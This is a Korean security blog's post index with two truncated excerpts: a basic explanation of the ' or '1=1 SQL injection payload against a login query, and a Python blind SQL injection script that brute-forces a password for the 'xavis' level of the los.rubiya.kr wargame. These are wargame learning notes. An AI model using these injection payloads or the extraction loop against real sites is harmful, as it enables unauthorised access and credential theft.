전체 글
-
SQL-Injection 정리(1)Web 2020. 3. 19. 19:01
기본적인 에러기반 SQL Injection --> ' or '1=1 이것을 기본으로 필터링 또는 우회해서 문제를 푼다. ex) select id from test where id='{$_GET[id]}' and pw='{$_GET[pw]}' 현재 GET 방식으로 파라미터를 전달하고 있다. url이 ~~.php?id=admin&&pw=admin 이라 하면 sql 구문은 select id from test where id='admin' and pw='admin' 으로 삽입이 되어진다. 여기에 아무 필터링이 없다는 가정하에 ~~.php?id=admin&&pw=admin' or '1=1 을 입력하게 되면 select id from test where id='admin' and pw='admin' or '1=1'..
-
-
-
-
los.rubiya xavisLos 문제풀이 2019. 12. 5. 15:47
import requests import urllib3 #pw=1%27||substr(hex(pw),1,2)%20=%2700 url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?" cookies = dict(PHPSESSID="kg75d303va7jetmfma123j9scv") a="" for i in range(1,25): for k in range(48,123): param1 = "pw=1%27||substr(hex(pw)," + str(i) + ",1" ")%20=%27"+chr(k) att = url + param1 res = requests.post(url=att,cookies=cookies) if "Hell..